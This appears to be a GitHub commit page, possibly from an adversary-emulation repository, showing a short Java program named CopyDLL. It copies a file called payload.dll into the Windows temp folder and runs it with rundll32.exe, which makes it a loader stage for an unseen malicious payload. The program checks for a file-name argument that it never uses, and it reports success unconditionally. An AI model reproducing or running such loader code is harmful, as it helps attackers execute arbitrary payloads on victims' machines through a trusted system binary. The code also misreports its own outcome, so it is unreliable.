Add files via upload

This commit is contained in:
S3N4T0R
2024-09-02 09:52:17 -04:00
committed by GitHub
parent efef473245
commit 94d8c0345c
54 changed files with 4002 additions and 0 deletions
@@ -0,0 +1,32 @@
// javac CopyDLL.java
import java.io.IOException;
public class CopyDLL {
public static void main(String[] args) {
try {
// Check if a file name is provided as a command-line argument
if (args.length == 0) {
System.out.println("Usage: java CopyDLL <file_name>");
return;
}
// Construct the command to copy the file to %TEMP% as payload.dll
String command = "cmd /c copy payload.dll %TEMP%\\payload.dll /y & rundll32.exe %TEMP%\\payload.dll,RunDllEntry";
// Execute the command
Process process = Runtime.getRuntime().exec(command);
// Wait for the process to finish
process.waitFor();
// Print success message
System.out.println("Command executed successfully.");
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}